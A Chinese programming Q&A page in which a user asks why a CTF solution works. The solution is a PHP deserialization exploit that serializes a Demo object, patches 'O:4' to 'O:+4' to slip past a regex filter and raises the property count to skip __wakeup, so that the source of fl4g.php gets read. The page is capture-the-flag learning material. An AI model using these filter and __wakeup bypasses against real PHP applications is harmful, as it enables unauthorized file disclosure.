acvxd123 2022-09-26 14:41 采纳率: 64.1%
浏览 45
已结题

一个ctf题,为什么下面的代码str_replace要这样构造?

问题遇到的现象和发生背景
用代码块功能插入代码,请勿粘贴截图
我想要达到的结果
<?php 
class Demo { 
    private $file = 'index.php';//定义一个私有变量。
    public function __construct($file) { //定义一个方法作为构造函数。
        $this->file = $file; //用来引用对象的成员。
    }
    function __destruct() { //析构函数。
        echo @highlight_file($this->file, true); //函数对文件进行语法高亮显示,如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码。
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { //判断file参数是不是,Index.php,如果不是的话,让file=index.php。
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //检测是否传递了get请求的var变量。
    $var = base64_decode($_GET['var']); //对var变量进行base64解码。
    if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match — 执行匹配正则表达式,返回匹配到的次数。
        die('stop hacking!');//die等同于exit() 。
    } else {
        @unserialize($var); //反序列化:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
    } 
} else { 
    highlight_file("index.php"); //输出index.php。
} 
?>
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

为什么O的长度是4?
为什么$a里面有:1:就会执行__wakeup()?

  • 写回答

1条回答 默认 最新

报告相同问题?

问题事件

  • 系统已结题 10月6日
  • 已采纳回答 9月28日
  • 赞助了问题酬金10元 9月26日
  • 创建了问题 9月26日

悬赏问题

  • ¥15 请问读取环境变量文件失败是什么原因?
  • ¥15 在若依框架下实现人脸识别
  • ¥15 网络科学导论,网络控制
  • ¥100 安卓tv程序连接SQLSERVER2008问题
  • ¥15 利用Sentinel-2和Landsat8做一个水库的长时序NDVI的对比,为什么Snetinel-2计算的结果最小值特别小,而Lansat8就很平均
  • ¥15 metadata提取的PDF元数据,如何转换为一个Excel
  • ¥15 关于arduino编程toCharArray()函数的使用
  • ¥100 vc++混合CEF采用CLR方式编译报错
  • ¥15 coze 的插件输入飞书多维表格 app_token 后一直显示错误,如何解决?
  • ¥15 vite+vue3+plyr播放本地public文件夹下视频无法加载